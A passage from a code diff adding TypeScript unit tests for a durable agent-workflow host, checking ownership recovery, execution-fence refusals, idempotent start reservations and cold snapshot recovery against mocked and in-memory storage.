fixture.workflows.loadWorkflowSnapshot({ + workflowName: fixture.execution.workflowId, + runId: fixture.execution.runId, + }); + expect(after?.status).toBe('failed'); + expect(fixture.state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(false); + expect(fixture.app.runtime.workflowIds()).toContain( + fixture.execution.workflowId, + ); + expect(start).not.toHaveBeenCalled(); + expect(mocked.stream).not.toHaveBeenCalled(); + }); + + it.each([ + true, + false, + ])('initializes a fresh actual wrapper for progressed unfenced recovery (threaded=%s)', async (threaded) => { + const fixture = await coldFixture(threaded, 'unfenced'); + expect(fixture.app.runtime.workflowIds()).toEqual([]); + const b2 = vi.spyOn(fixture.app.runtime, 'recoverStartAttempt'); + await expect( + fixture.host.recoverOwnership(fixture.scope), + ).resolves.toBeUndefined(); + expect(fixture.state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(false); + expect(await fixture.resources.owner('run', 'acme_run')).toEqual( + HUMAN_OWNER, + ); + expect(b2).not.toHaveBeenCalled(); + expect(mocked.stream).not.toHaveBeenCalled(); + }); + + it('initializes the cold blocking-run entry before selecting a terminal no-journal record', async () => { + const fixture = await coldFixture(true, 'fenced'); + fixture.state.delete(TEST_OWNER_RECOVERY_KEY); + expect(fixture.app.runtime.workflowIds()).toEqual([]); + await expect( + fixture.host.blockingRun(fixture.scope), + ).resolves.toBeUndefined(); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(false); + expect(mocked.stream).not.toHaveBeenCalled(); + }); + + it('initializes the cold dispatch-status entry before selecting its actual workflow', async () => { + const fixture = await coldFixture(true, 'fenced'); + fixture.state.delete(TEST_OWNER_RECOVERY_KEY); + expect(fixture.app.runtime.workflowIds()).toEqual([]); + await expect( + fixture.host.scheduleDispatchStatus(fixture.scope, { + agentId: 'writer', + resourceId: RESOURCE_ID, + runId: 'acme_run', + }), + ).resolves.toMatchObject({ runId: 'acme_run', status: 'success' }); + expect(fixture.state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false); + expect(mocked.stream).not.toHaveBeenCalled(); + }); + + it('keeps empty recovery and blocking scans lazy', async () => { + const fixture = harness(); + await expect( + fixture.host.recoverOwnership(fixture.scope), + ).resolves.toBeUndefined(); + await expect( + fixture.host.blockingRun(fixture.scope), + ).resolves.toBeUndefined(); + expect(fixture.moduleScopes).toEqual([]); + expect(fixture.storageScopes).toEqual([]); + }); + + it('retains a cold journal for an unknown catalog module without engine entry', async () => { + const fixture = await coldFixture(true, 'fenced'); + const foreign = ownerRecovery('acme_run', { + ...fixture.recovery, + agentId: 'unknown', + runRecord: { + version: 2, + agentId: 'unknown', + principal: fixture.scope.principal, + originEntryPath: 'http.start', + }, + }); + fixture.state.set(TEST_OWNER_RECOVERY_KEY, foreign); + const outcome = await fixture.host + .recoverOwnership(fixture.scope) + .catch((error: unknown) => error); + expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual(foreign); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true); + expect(fixture.alarmAt()).toBeDefined(); + expect(mocked.stream).not.toHaveBeenCalled(); + expect(outcome).toBeInstanceOf(Error); + }); + it.each([ + true, + false, + ])('uses one authoritative recovery observation for the actual cold agent (threaded=%s)', async (threaded) => { + const fixture = await coldFixture(threaded, 'fenced', 'pending'); + await expect( + fixture.host.recoverOwnership(fixture.scope), + ).resolves.toBeUndefined(); + const raw = await fixture.nativeCapability.readSnapshot({ + workflowId: fixture.execution.workflowId, + runId: fixture.execution.runId, + }); + expect(JSON.parse(raw?.snapshot ?? '{}').status).toBe('failed'); + expect(fixture.state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false); + expect(fixture.rawReads).toHaveBeenCalledOnce(); + expect(fixture.terminalization).toHaveBeenCalledOnce(); + }); + + it.each([ + 'agent', + 'owner', + 'thread', + 'mode', + 'workflow role', + 'missing identity', + ] as const)('retains same-S foreign managed metadata before B2 from one selected row: %s', async (field) => { + const fixture = await coldFixture(true, 'fenced', 'pending'); + const snapshot = await fixture.workflows.loadWorkflowSnapshot({ + workflowName: fixture.execution.workflowId, + runId: fixture.execution.runId, + }); + if (!snapshot?.requestContext) throw new Error('missing cold snapshot'); + const provenance = snapshot.requestContext[ + 'flowsafe.runProvenance' + ] as Record; + const identity = provenance.startIdentity as { + owner: { kind: string; id: string }; + target: { kind: string; id: string; threadId?: string }; + }; + if (field === 'agent') identity.target.id = 'foreign-agent'; + if (field === 'owner') { + identity.owner.id = 'foreign-owner'; + provenance.requestedBy = 'foreign-owner'; + } + if (field === 'thread') identity.target.threadId = 'foreign-thread'; + if (field === 'mode') provenance.agentStart = { threaded: false }; + if (field === 'workflow role') { + identity.target = { kind: 'workflow', id: fixture.execution.workflowId }; + delete provenance.agentStart; + } + if (field === 'missing identity') { + delete provenance.startIdentity; + delete provenance.agentStart; + } + await fixture.workflows.persistWorkflowSnapshot({ + workflowName: fixture.execution.workflowId, + runId: fixture.execution.runId, + snapshot, + }); + const rawBefore = await fixture.nativeCapability.readSnapshot({ + workflowId: fixture.execution.workflowId, + runId: fixture.execution.runId, + }); + const settle = vi.spyOn(fixture.app.runtime, 'settleStartExecution'); + const outcome = await fixture.host + .recoverOwnership(fixture.scope) + .catch((error: unknown) => error); + expect( + await fixture.nativeCapability.readSnapshot({ + workflowId: fixture.execution.workflowId, + runId: fixture.execution.runId, + }), + ).toEqual(rawBefore); + expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual( + fixture.recovery, + ); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true); + expect(fixture.terminalization).not.toHaveBeenCalled(); + expect(settle).not.toHaveBeenCalled(); + expect(fixture.rawReads).toHaveBeenCalledOnce(); + expect(outcome).toMatchObject({ + status: 503, + reason: { code: 'EXECUTION_FENCE_UNREADABLE' }, + }); + }); + it.each([ + [true, true], + [true, false], + [false, true], + [false, false], + ] as const)('retains cold prepared absence across repeated same-ID starts (threaded=%s keyed=%s)', async (threaded, keyed) => { + const fixture = await coldFixture(threaded, 'fenced', 'pending', keyed); + const beforeClaim = + await fixture.reservations?.readForAdmission('cold-key'); + fixture.sql + .prepare( + 'DELETE FROM cold_mastra_workflow_snapshot WHERE workflow_name = ? AND run_id = ?', + ) + .run(fixture.execution.workflowId, fixture.execution.runId); + const enter = vi + .spyOn(fixture.app.runtime, 'start') + .mockRejectedValue(new Error('unexpected new engine entry')); + const recoveryError = await fixture.host + .recoverOwnership(fixture.scope) + .catch((error: unknown) => error); + expect( + await fixture.nativeCapability.readSnapshot({ + workflowId: fixture.execution.workflowId, + runId: fixture.execution.runId, + }), + ).toBeUndefined(); + expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual( + fixture.recovery, + ); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true); + expect(fixture.state.has(THREAD_BINDING_KEY)).toBe(threaded); + expect(await fixture.reservations?.readForAdmission('cold-key')).toEqual( + beforeClaim, + ); + expect(recoveryError).toMatchObject({ status: 503 }); + for (let retry = 0; retry < 2; retry++) { + const outcome = await fixture.host + .start(fixture.scope, { + ...C_START_INPUT, + threaded, + ...(fixture.claim + ? { + idempotencyKey: fixture.claim.key, + startReservation: fixture.claim, + } + : {}), + }) + .catch((error: unknown) => error); + expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual( + fixture.recovery, + ); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true); + expect(enter).not.toHaveBeenCalled(); + expect(outcome).toMatchObject({ status: 503 }); + } + expect(await fixture.host.blockingRun(fixture.scope)).toMatchObject({ + runId: 'acme_run', + }); + expect(fixture.terminalization).not.toHaveBeenCalled(); + }); + + it('retains a no-journal terminal record when its selected immutable owner differs', async () => { + const fixture = await coldFixture(true, 'fenced'); + fixture.state.delete(TEST_OWNER_RECOVERY_KEY); + const snapshot = await fixture.workflows.loadWorkflowSnapshot({ + workflowName: fixture.execution.workflowId, + runId: fixture.execution.runId, + }); + if (!snapshot?.requestContext) throw new Error('missing cold result'); + const provenance = snapshot.requestContext['flowsafe.runProvenance'] as { + requestedBy: string; + startIdentity: { owner: { id: string } }; + }; + provenance.startIdentity.owner.id = 'foreign-owner'; + provenance.requestedBy = 'foreign-owner'; + await fixture.workflows.persistWorkflowSnapshot({ + workflowName: fixture.execution.workflowId, + runId: fixture.execution.runId, + snapshot, + }); + const settle = vi.spyOn(fixture.app.runtime, 'settleStartExecution'); + const outcome = await fixture.host + .blockingRun(fixture.scope) + .catch((error: unknown) => error); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true); + expect(fixture.state.has(THREAD_BINDING_KEY)).toBe(true); + expect(settle).not.toHaveBeenCalled(); + expect(outcome).toMatchObject({ status: 503 }); + }); +}); + +describe('FS8 D3 host activation exact agent journals', () => { + it.each([ + [ + 'phase', + { + phase: 'prepared-unfenced', + execution: { + tablePrefix: '', + workflowId: 'durable-agentic-loop', + runId: 'acme_run', + startToken: 'test-generation', + }, + }, + ], + [ + 'generation', + { + execution: { + tablePrefix: '', + workflowId: 'durable-agentic-loop', + runId: 'acme_run', + startToken: 'replacement-generation', + }, + }, + ], + [ + 'principal', + { + runRecord: { + version: 2, + agentId: 'writer', + principal: { kind: 'human', id: 'operator-1', role: 'admin' }, + originEntryPath: 'http.start', + }, + }, + ], + [ + 'origin', + { + runRecord: { + version: 2, + agentId: 'writer', + principal: { kind: 'human', id: 'operator-1', role: 'operator' }, + originEntryPath: 'signal.wake', + }, + }, + ], + ])('preserves a replacement with repeated H when the listed journal differs in %s', async (_field, replacement) => { + const fixture = harness(); + fixture.setSummary({ runId: 'acme_run', status: 'success' }); + const original = ownerRecovery('acme_run'); + const current = ownerRecovery('acme_run', replacement); + seedRecoveryState(fixture.state, 'acme_run', current); + vi.spyOn(fixture.stateStorage, 'list').mockResolvedValueOnce( + new Map([[TEST_OWNER_RECOVERY_KEY, original]]), + ); + const settle = vi.spyOn(fixture.resourceAccess, 'settleReservation'); + const recover = vi.spyOn(fixture.scope.init.runtime, 'recoverStartAttempt'); + const outcome = await fixture.host + .recoverOwnership(fixture.scope) + .catch((error: unknown) => error); + expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual(current); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true); + expect(settle).not.toHaveBeenCalled(); + expect(recover).not.toHaveBeenCalled(); + expect(outcome).toBeInstanceOf(Error); + }); + + it.each([ + 'principal', + 'origin', + ] as const)('preserves a replacement run record during preparing rollback: %s', async (field) => { + const fixture = harness(); + const recovery = ownerRecovery('acme_run', { phase: 'preparing' }); + delete recovery.execution; + seedRecoveryState(fixture.state, 'acme_run', recovery); + const record = { + version: 2, + agentId: 'writer', + principal: { + kind: 'human', + id: 'operator-1', + role: field === 'principal' ? 'admin' : 'operator', + }, + originEntryPath: field === 'origin' ? 'signal.wake' : 'http.start', + }; + fixture.state.set(TEST_RUN_RECORD_KEY, record); + const outcome = await fixture.host + .recoverOwnership(fixture.scope) + .catch((error: unknown) => error); + expect(fixture.state.get(TEST_RUN_RECORD_KEY)).toEqual(record); + expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual(recovery); + expect(fixture.state.has(THREAD_BINDING_KEY)).toBe(true); + expect(outcome).toBeInstanceOf(Error); + }); + + it.each([ + null, + 'actual_', + ] as const)('never invokes B2 or absence rollback for missing prepared-unfenced state (prefix=%s)', async (tablePrefix) => { + const fixture = harness(); + fixture.setSummary(null, true); + const recovery = ownerRecovery('acme_run', { + phase: 'prepared-unfenced', + execution: { + tablePrefix, + workflowId: 'durable-agentic-loop', + runId: 'acme_run', + startToken: 'test-generation', + }, + }); + seedRecoveryState(fixture.state, 'acme_run', recovery); + const b2 = vi.spyOn(fixture.scope.init.runtime, 'recoverStartAttempt'); + const outcome = await fixture.host + .recoverOwnership(fixture.scope) + .catch((error: unknown) => error); + expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual(recovery); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true); + expect(fixture.alarmAt()).toBeDefined(); + expect(b2).not.toHaveBeenCalled(); + expect(outcome).toBeInstanceOf(Error); + }); + + it.each([ + true, + false, + ])('retains managed bookkeeping after strict terminal settlement failure (threaded=%s)', async (threaded) => { + const failure = new Error('strict settlement failed'); + const settle = vi.fn(async () => { + throw failure; + }); + const fixture = harness(['writer'], { + runtime: { settleStartExecution: settle }, + }); + const outcome = await fixture.host + .start(fixture.scope, { ...C_START_INPUT, threaded }) + .catch((error: unknown) => error); + expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toMatchObject({ + phase: 'prepared-unfenced', + threaded, + }); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true); + expect( + await fixture.resourceAccess.reserveAll( + [{ kind: 'run', resourceId: 'acme_run' }], + { kind: 'human', id: 'replacement-owner' }, + 'replacement-attempt', + ), + ).toBe(false); + expect(fixture.alarmAt()).toBeDefined(); + expect(outcome).toBe(failure); + }); + + it.each([ + true, + false, + ])('does not publish normal completion from a pending durable start (threaded=%s)', async (threaded) => { + const fixture = harness(); + fixture.setSummary({ runId: 'acme_run', status: 'pending' }, false); + const outcome = await fixture.host + .start(fixture.scope, { ...C_START_INPUT, threaded }) + .catch((error: unknown) => error); + expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toMatchObject({ + phase: 'prepared-unfenced', + threaded, + }); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true); + expect( + await fixture.resourceAccess.reserveAll( + [{ kind: 'run', resourceId: 'acme_run' }], + { kind: 'human', id: 'replacement-owner' }, + 'replacement-attempt', + ), + ).toBe(false); + expect(fixture.alarmAt()).toBeDefined(); + expect(outcome).toMatchObject({ + status: 503, + reason: { code: 'RUN_START_PENDING' }, + }); + }); +}); + +describe('FS8 D3 host activation owning quiescence', () => { + it('refuses recovery while the exact start frame is still awaiting the engine', async () => { + const fixture = harness(); + const entered = cDeferred(), + release = cDeferred(); + mocked.stream.mockImplementation(async () => { + entered.resolve(); + await release.promise; + return {}; + }); + const start = fixture.host.start(fixture.scope, C_START_INPUT); + const outcome = start.catch((error: unknown) => error); + await entered.promise; + const journal = structuredClone(fixture.state.get(TEST_OWNER_RECOVERY_KEY)); + try { + const recovery = await fixture.host + .recoverOwnership(fixture.scope) + .catch((error: unknown) => error); + expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual(journal); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true); + expect(recovery).toMatchObject({ + status: 503, + reason: { code: 'RUN_START_PENDING' }, + }); + } finally { + release.resolve(); + await outcome; + } + await expect(start).resolves.toMatchObject({ runId: 'acme_run' }); + }); + + it('recovers the previous preparing attempt before installing the next execution frame', async () => { + const fixture = harness(); + const previous = ownerRecovery('acme_run', { phase: 'preparing' }); + delete previous.execution; + seedRecoveryState(fixture.state, 'acme_run', previous); + await fixture.resources.reserveAll( + [ + { kind: 'run', resourceId: 'acme_run' }, + { kind: 'thread', resourceId: 'acme_thread' }, + { kind: 'resource', resourceId: RESOURCE_ID }, + ], + HUMAN_OWNER, + previous.token as string, + ); + const start = fixture.host.start(fixture.scope, C_START_INPUT); + await expect(start).resolves.toMatchObject({ runId: 'acme_run' }); + const result = await start; + expect(fixture.state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(false); + expect(await fixture.resources.owner('run', 'acme_run')).toEqual( + HUMAN_OWNER, + ); + expect(mocked.stream).toHaveBeenCalledOnce(); + expect(result).toMatchObject({ + runId: 'acme_run', + summary: { status: 'success' }, + }); + }); +}); + +describe('FS8 D3 host activation captured original claim', () => { + it('forwards the captured successful claim through the eighth argument after an authorization wait', async () => { + const { StartIdempotencyStore } = await import( + '../do-runner/start-idempotency.js' + ); + const store = new StartIdempotencyStore( + sqliteUnitDatabase( + openSqlite(), + ) as import('../do-runner/start-idempotency.js').StartIdempotencyDatabase, + ); + const reserved = await store.reserve({ + key: 'captured-key', + owner: { kind: 'human', id: 'operator-1' }, + targetKind: 'agent', + targetId: 'writer', + threadId: 'acme_thread', + mintRunId: () => 'acme_run', + }); + const claim = await store.claimReservation(reserved.reservation); + if (!claim) throw new Error('missing successful claim'); + const mutable = { + ...claim, + owner: { ...claim.owner }, + binding: { ...claim.binding }, + }; + const entered = cDeferred(), + release = cDeferred(); + const fixture = harness(['writer'], { + runtime: { startIdempotency: store }, + resolvePrincipalPermissions: async () => { + entered.resolve(); + await release.promise; + return { permissions: [], policyVersion: 'test-v1' }; + }, + }); + const pending = fixture.host.start(fixture.scope, { + ...C_START_INPUT, + idempotencyKey: claim.key, + startReservation: mutable, + }); + const outcome = pending.catch((error: unknown) => error); + await entered.promise; + Object.assign(mutable, { + key: 'replacement-key', + targetId: 'replacement-agent', + runId: 'replacement-run', + updatedAt: claim.updatedAt + 10, + }); + mutable.owner.id = 'replacement-owner'; + release.resolve(); + await outcome; + expect(await store.readForAdmission(claim.key)).toEqual(claim); + expect(mocked.stream.mock.calls[0]?.[7].startReservation).toEqual(claim); + await expect(pending).resolves.toMatchObject({ runId: 'acme_run' }); + }); +}); + +describe('FS8 D3 host activation custom storage cold recovery', () => { + it.each([ + true, + false, + ])('recovers a real custom-null result without B2 after lazy factory initialization (threaded=%s)', async (threaded) => { + const core = await vi.importActual( + '@mastra/core/mastra', + ); + const { InMemoryStore } = await import('@mastra/core/storage'); + const breakwater = await vi.importActual< + typeof import('@proofoftech/breakwater') + >('@proofoftech/breakwater'); + mocked.actualFactory = true; + mocked.actualAgent = breakwater.createGuardedAgent({ + id: 'writer', + name: 'Writer', + instructions: 'Unused custom recovery agent.', + model: 'openai/gpt-4o-mini', + allowedRoles: ['operator'], + policies: [], + audit: new breakwater.AuditLogger(), + maxSteps: 1, + toolChoice: 'auto', + }); + mocked.mastra.mockImplementation( + (configuration) => new core.Mastra(configuration), + ); + const storage = new InMemoryStore(); + await storage.init(); + const app = init( + { storage }, + { executionFence: 'none', startIdempotency: 'none' }, + ); + const fixture = harness(['writer'], { init: app, storage }); + const execution = { + tablePrefix: null, + workflowId: 'durable-agentic-loop', + runId: 'acme_run', + startToken: 'custom-generation', + }; + const recovery = ownerRecovery('acme_run', { + phase: 'prepared-unfenced', + execution, + threaded, + }); + seedRecoveryState(fixture.state, 'acme_run', recovery, threaded); + await fixture.resources.reserveAll( + [ + { kind: 'run', resourceId: 'acme_run' }, + { kind: 'thread', resourceId: 'acme_thread' }, + { kind: 'resource', resourceId: RESOURCE_ID }, + ], + HUMAN_OWNER, + recovery.token as string, + ); + const workflows = await storage.getStore('workflows'); + await workflows?.persistWorkflowSnapshot({ + workflowName: execution.workflowId, + runId: execution.runId, + snapshot: { + runId: execution.runId, + status: 'success', + result: { value: 'custom' }, + value: {}, + context: {}, + serializedStepGraph: [], + activePaths: [], + activeStepsPath: {}, + suspendedPaths: {}, + resumeLabels: {}, + waitingPaths: {}, + timestamp: 123, + requestContext: { + 'flowsafe.runProvenance': { + version: 2, + startToken: execution.startToken, + attemptToken: 'resumed-custom-leg', + resumeCounts: [], + requestedBy: 'operator-1', + requestedByKind: 'human', + startIdentity: { + owner: HUMAN_OWNER, + target: { kind: 'agent', id: 'writer', threadId: 'acme_thread' }, + }, + agentStart: { threaded }, + }, + }, + }, + }); + const b2 = vi.spyOn(app.runtime, 'recoverStartAttempt'); + expect(app.runtime.workflowIds()).toEqual([]); + await expect( + fixture.host.recoverOwnership(fixture.scope), + ).resolves.toBeUndefined(); + expect(fixture.state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(false); + expect(await fixture.resources.owner('run', 'acme_run')).toEqual( + HUMAN_OWNER, + ); + expect(b2).not.toHaveBeenCalled(); + expect(mocked.stream).not.toHaveBeenCalled(); + }); +}); + +describe('FS8 D3 host activation native agent zero admission', () => { + async function nativeZeroFixture() { + const core = await vi.importActual( + '@mastra/core/mastra', + ); + mocked.mastra.mockImplementation((configuration) => + configuration?.workflows ? new core.Mastra(configuration) : undefined, + ); + const sql = openSqlite(); + const binding = sqliteUnitDatabase(sql) as ExecutionFenceDatabase & + ResourceOwnershipDatabase; + const storage = createD1Storage({ binding }); + await storage.init(); + const fence = new ExecutionFenceStore(binding); + await fence.seed('open'); + const { StartIdempotencyStore } = await import( + '../do-runner/start-idempotency.js' + ); + const reservations = new StartIdempotencyStore(binding); + const app = init( + { storage }, + { executionFence: fence, startIdempotency: reservations }, + ); + let effects = 0; + app + .createWorkflow({ + id: 'durable-agentic-loop', + inputSchema: z.object({}), + outputSchema: z.object({}), + }) + .then( + app.createStep({ + id: 'effect', + inputSchema: z.object({}), + outputSchema: z.object({}), + execute: async () => { + effects++; + return {}; + }, + }), + ) + .commit(); + const domain = (await storage.getStore( + 'workflows', + )) as FencedWorkflowsStorageD1; + const native = domain[FENCED_WORKFLOW_STORAGE]; + if (!native) throw new Error('missing native capability'); + let closeOnce = true; + Object.defineProperty(domain, FENCED_WORKFLOW_STORAGE, { + value: { + ...native, + withInitialAdmission: async ( + input: Parameters[0], + create: Parameters[1], + ) => { + if (closeOnce) { + closeOnce = false; + await fence.transition({ expected: 'open', next: 'draining' }); + } + return native.withInitialAdmission(input, create); + }, + }, + configurable: true, + }); + const fixture = harness(['writer'], { + init: app, + storage, + resourceAccess: new D1ResourceOwnershipStore(binding), + }); + mocked.stream.mockImplementation( + async ( + ...args: Parameters + ) => { + const [ + , + options, + requestedBy, + requestedByKind, + attemptToken, + scheduleDispatch, + idempotencyKey, + authority, + ] = args; + const runId = options.runId; + if (typeof runId !== 'string') + throw new Error('host omitted its runId'); + await app.runtime.start('durable-agentic-loop', { + runId, + inputData: {}, + storedRequestContext: Object.fromEntries( + options.requestContext?.entries() ?? [], + ), + requestedBy, + requestedByKind, + attemptToken, + scheduleDispatch, + idempotencyKey, + mutationEpoch: authority.mutationEpoch, + startIdentity: authority.startIdentity, + agentStart: authority.agentStart, + onPreparedStartIdentity: authority.onPreparedStartIdentity, + runOwnerGuard: authority.runOwnerGuard, + startReservation: authority.startReservation, + }); + return {}; + }, + ); + const claim = async () => { + const reserved = await reservations.reserve({ + key: 'agent-zero-key', + owner: HUMAN_OWNER, + targetKind: 'agent', + targetId: 'writer', + threadId: 'acme_thread', + mintRunId: () => 'acme_run', + }); + const result = await reservations.claimReservation(reserved.reservation); + if (!result) throw new Error('missing agent claim'); + return result; + }; + return { + fixture, + app, + storage, + sql, + domain, + native, + fence, + reservations, + claim, + effects: () => effects, + refuseNext: () => { + closeOnce = true; + }, + }; + } + + it('preserves H rows when non-owning recovery races a held native zero frame', async () => { + const fixture = await nativeZeroFixture(); + const nativeStart = fixture.app.runtime.start.bind(fixture.app.runtime); + const entered = cDeferred(); + const release = cDeferred(); + vi.spyOn(fixture.app.runtime, 'start').mockImplementationOnce( + async (...args) => { + try { + return await nativeStart(...args); + } catch (error) { + entered.resolve(); + await release.promise; + throw error; + } + }, + ); + const starting = fixture.fixture.host.start( + fixture.fixture.scope, + C_START_INPUT, + ); + const settled = starting.catch((error: unknown) => error); + await entered.promise; + const owners = fixture.sql + .prepare( + 'SELECT * FROM flowsafe_resource_owners ORDER BY resource_kind, resource_id', + ) + .all(); + const state = structuredClone(fixture.fixture.state); + try { + const outcome = await fixture.fixture.host + .recoverOwnership(fixture.fixture.scope) + .catch((error: unknown) => error); + expect( + fixture.sql + .prepare( + 'SELECT * FROM flowsafe_resource_owners ORDER BY resource_kind, resource_id', + ) + .all(), + ).toEqual(owners); + expect(fixture.fixture.state).toEqual(state); + expect(fixture.effects()).toBe(0); + expect(outcome).toMatchObject({ + status: 503, + reason: { code: 'RUN_START_PENDING' }, + }); + } finally { + release.resolve(); + await settled; + } + }); + + it.each([ + 'lookalike', + 'serialized', + 'foreign generation', + 'evicted frame', + ] as const)('retains agent prepared absence without native local zero authority (%s)', async (mode) => { + const fixture = await nativeZeroFixture(); + const nativeStart = fixture.app.runtime.start.bind(fixture.app.runtime); + let originalFailure: unknown; + let foreignExecution: + | import('../do-runner/execution-admission.js').RunExecutionIdentity + | undefined; + let prepared: unknown; + const put = fixture.fixture.stateStorage.put.bind( + fixture.fixture.stateStorage, + ); + vi.spyOn(fixture.fixture.stateStorage, 'put').mockImplementation( + async (key, value) => { + await put(key, value); + if ( + key === TEST_OWNER_RECOVERY_KEY && + (value as { phase?: string }).phase === 'prepared' + ) + prepared = structuredClone(value); + }, + ); + vi.spyOn(fixture.app.runtime, 'start').mockImplementationOnce( + async (...args) => { + try { + return await nativeStart(...args); + } catch (error) { + originalFailure = error; + if (mode === 'foreign generation') { + await fixture.fence.transition({ + expected: 'draining', + next: 'open', + }); + fixture.refuseNext(); + await nativeStart('durable-agentic-loop', { + runId: 'acme_run', + onPreparedStartIdentity: (identity) => { + foreignExecution = identity; + }, + inputData: {}, + requestedBy: 'operator-1', + requestedByKind: 'human', + }); + throw new Error('foreign native zero unexpectedly succeeded'); + } + if (mode === 'lookalike') { + const { ExecutionFencedError } = await import( + '../do-runner/execution-fence.js' + ); + throw new ExecutionFencedError('draining', 'run start'); + } + throw Object.assign( + new Error('serialized zero receipt'), + JSON.parse( + JSON.stringify({ + status: (error as { status?: number }).status, + reason: (error as { reason?: unknown }).reason, + }), + ), + ); + } + }, + ); + const claim = await fixture.claim(); + const first = await fixture.fixture.host + .start(fixture.fixture.scope, { + ...C_START_INPUT, + idempotencyKey: claim.key, + startReservation: claim, + }) + .catch((error: unknown) => error); + expect(fixture.fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual( + prepared, + ); + expect(fixture.fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true); + expect(fixture.fixture.state.has(THREAD_BINDING_KEY)).toBe(true); + expect( + await fixture.native.readSnapshot({ + workflowId: 'durable-agentic-loop', + runId: 'acme_run', + }), + ).toBeUndefined(); + expect(fixture.effects()).toBe(0); + if (mode === 'foreign generation') { + expect(foreignExecution).toMatchObject({ + workflowId: 'durable-agentic-loop', + runId: 'acme_run', + }); + expect(foreignExecution?.startToken).not.toBe( + (prepared as { execution: { startToken: string } }).execution + .startToken, + ); + } + expect(first).toBeInstanceOf(Error); + if (mode === 'evicted frame') { + const { isDefinitiveInitialAdmissionRefusal } = await import( + '../do-runner/initial-admission-refusal.js' + ); + expect( + isDefinitiveInitialAdmissionRefusal( + originalFailure, + ( + prepared as { + execution: import('../do-runner/execution-admission.js').D1RunExecutionIdentity; + } + ).execution, + ), + ).toBe(true); + const coldHost = createThreadAgentHost({ + buildModules: () => [ + { + meta: { + id: 'writer', + title: 'Writer', + description: 'Cold zero fixture', + allowedRoles: ['operator'], + }, + agent: guarded(), + }, + ], + storage: () => fixture.storage, + stateStorage: () => fixture.fixture.stateStorage, + resourceAccess: () => fixture.fixture.resourceAccess, + approvalService: () => { + throw new Error('unexpected cold approval'); + }, + }); + const cold = await coldHost + .recoverOwnership(fixture.fixture.scope) + .catch((error: unknown) => error); + expect(fixture.fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual( + prepared, + ); + expect(fixture.fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true); + expect(fixture.fixture.state.has(THREAD_BINDING_KEY)).toBe(true); + expect(cold).toMatchObject({ status: 503 }); + } + const beforeClaim = await fixture.reservations.readForAdmission(claim.key); + await fixture.fence.transition({ expected: 'draining', next: 'open' }); + const retry = await fixture.fixture.host + .start(fixture.fixture.scope, { + ...C_START_INPUT, + idempotencyKey: claim.key, + startReservation: claim, + }) + .catch((error: unknown) => error); + expect(fixture.fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual( + prepared, + ); + expect(fixture.fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true); + expect(await fixture.reservations.readForAdmission(claim.key)).toEqual( + beforeClaim, + ); + expect(fixture.effects()).toBe(0); + expect(retry).toMatchObject({ status: 503 }); + }); + + it.each([ + true, + false, + ])('clears local agent bookkeeping only after native zero proof and executes one retry (threaded=%s)', async (threaded) => { + const { fixture, native, fence, reservations, claim, effects } = + await nativeZeroFixture(); + const firstClaim = await claim(); + const outcome = await fixture.host + .start(fixture.scope, { + ...C_START_INPUT, + threaded, + idempotencyKey: firstClaim.key, + startReservation: firstClaim, + }) + .catch((error: unknown) => error); + expect( + await native.readSnapshot({ + workflowId: 'durable-agentic-loop', + runId: 'acme_run', + }), + ).toBeUndefined(); + expect(fixture.state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(false); + expect(fixture.state.has(THREAD_BINDING_KEY)).toBe(false); + expect(await reservations.readForAdmission('agent-zero-key')).toMatchObject( + { state: 'reserved', binding: { kind: 'unbound' } }, + ); + expect(effects()).toBe(0); + expect(outcome).toMatchObject({ status: 503 }); + await fence.transition({ expected: 'draining', next: 'open' }); + const nextClaim = await claim(); + await expect( + fixture.host.start(fixture.scope, { + ...C_START_INPUT, + threaded, + idempotencyKey: nextClaim.key, + startReservation: nextClaim, + }), + ).resolves.toMatchObject({ + runId: 'acme_run', + summary: { status: 'success' }, + }); + expect(effects()).toBe(1); + expect(fixture.state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(false); + }); +}); + +describe('FS8 D3 host activation explicit legacy observation', () => { + it.each([ + null, + 3, + [], + ])('refuses present malformed provenance before public legacy fallback (%j)', async (provenance) => { + const fixture = harness(['writer'], { + runtime: { + authoritativeStartState: vi.fn(async 